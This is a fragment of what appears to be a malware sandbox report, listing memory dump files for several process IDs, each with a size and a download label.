              • memory/3316-48-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-47-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-45-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-44-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-43-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-42-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-41-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-39-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-38-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-91-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-78-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-79-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-81-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-35-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-34-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-83-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-86-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-71-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-73-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-72-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-89-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-90-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-92-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-85-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-76-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-80-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-88-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-87-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-64-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-66-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-37-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-67-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-28-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-30-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-52-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-46-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-40-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-31-0x0000000000400000-0x0000000000535000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/3316-69-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-33-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-36-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-68-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-84-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3708-2001-0x0000000006580000-0x00000000065CC000-memory.dmp

                Filesize

                304KB

                Download

              • memory/3708-2091-0x0000000007A40000-0x0000000007A54000-memory.dmp

                Filesize

                80KB

                Download

              • memory/3708-2093-0x0000000007B40000-0x0000000007B5A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/3708-2088-0x0000000007A30000-0x0000000007A3E000-memory.dmp

                Filesize

                56KB

                Download

              • memory/3708-2083-0x0000000007A00000-0x0000000007A11000-memory.dmp

                Filesize

                68KB

                Download

              • memory/3708-2082-0x0000000007A80000-0x0000000007B16000-memory.dmp

                Filesize

                600KB

                Download

              • memory/3708-1907-0x0000000002BD0000-0x0000000002C06000-memory.dmp

                Filesize

                216KB

                Download

              • memory/3708-1912-0x0000000005760000-0x0000000005D88000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/3708-1962-0x0000000005720000-0x0000000005742000-memory.dmp

                Filesize

                136KB

                Download

              • memory/3708-1970-0x0000000005E10000-0x0000000005E76000-memory.dmp

                Filesize

                408KB

                Download

              • memory/3708-1981-0x0000000006060000-0x00000000063B4000-memory.dmp

                Filesize

                3.3MB

                Download

              • memory/3708-2081-0x0000000007870000-0x000000000787A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/3708-1999-0x00000000064C0000-0x00000000064DE000-memory.dmp

                Filesize

                120KB

                Download

              • memory/3708-2058-0x0000000006A90000-0x0000000006AAE000-memory.dmp

                Filesize

                120KB

                Download

              • memory/3708-2048-0x0000000073C00000-0x0000000073C4C000-memory.dmp

                Filesize

                304KB

                Download

              • memory/3708-2047-0x0000000006AD0000-0x0000000006B02000-memory.dmp

                Filesize

                200KB

                Download

              • memory/3708-2072-0x0000000007E40000-0x00000000084BA000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/3708-2074-0x0000000007800000-0x000000000781A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/3708-2094-0x0000000007B20000-0x0000000007B28000-memory.dmp

                Filesize

                32KB

                Download

              • memory/3708-2059-0x00000000076D0000-0x0000000007773000-memory.dmp

                Filesize

                652KB

                Download

              • memory/4188-1899-0x0000000140000000-0x0000000140135000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4188-704-0x0000000140000000-0x0000000140135000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4220-2084-0x0000000140000000-0x0000000140234000-memory.dmp

                Filesize

                2.2MB

                Download

              • memory/4220-701-0x0000000140000000-0x0000000140234000-memory.dmp

                Filesize

                2.2MB

                Download

              • memory/4268-715-0x0000000005300000-0x0000000005392000-memory.dmp

                Filesize

                584KB

                Download

              • memory/4268-703-0x0000000000A30000-0x0000000000A48000-memory.dmp

                Filesize

                96KB

                Download

              • memory/4340-576-0x0000000000400000-0x0000000000600000-memory.dmp

                Filesize

                2.0MB

                Download

              • memory/4496-727-0x0000000140000000-0x000000014022B000-memory.dmp

                Filesize

                2.2MB

                Download

              • memory/4496-2097-0x0000000140000000-0x000000014022B000-memory.dmp

                Filesize

                2.2MB

                Download

              • memory/4768-1489-0x0000000140000000-0x0000000140155000-memory.dmp

                Filesize

                1.3MB

                Download

              • memory/4768-1889-0x0000000140000000-0x0000000140155000-memory.dmp

                Filesize

                1.3MB

                Download

              • memory/5000-342-0x0000014E21010000-0x0000014E21032000-memory.dmp

                Filesize

                136KB

                Download

              • memory/5048-586-0x0000000140000000-0x0000000140130000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/5048-2007-0x0000000140000000-0x0000000140130000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/6516-2098-0x0000000140000000-0x0000000140155000-memory.dmp

                Filesize

                1.3MB

                Download

              • memory/6516-1885-0x0000000140000000-0x0000000140155000-memory.dmp

                Filesize

                1.3MB

                Download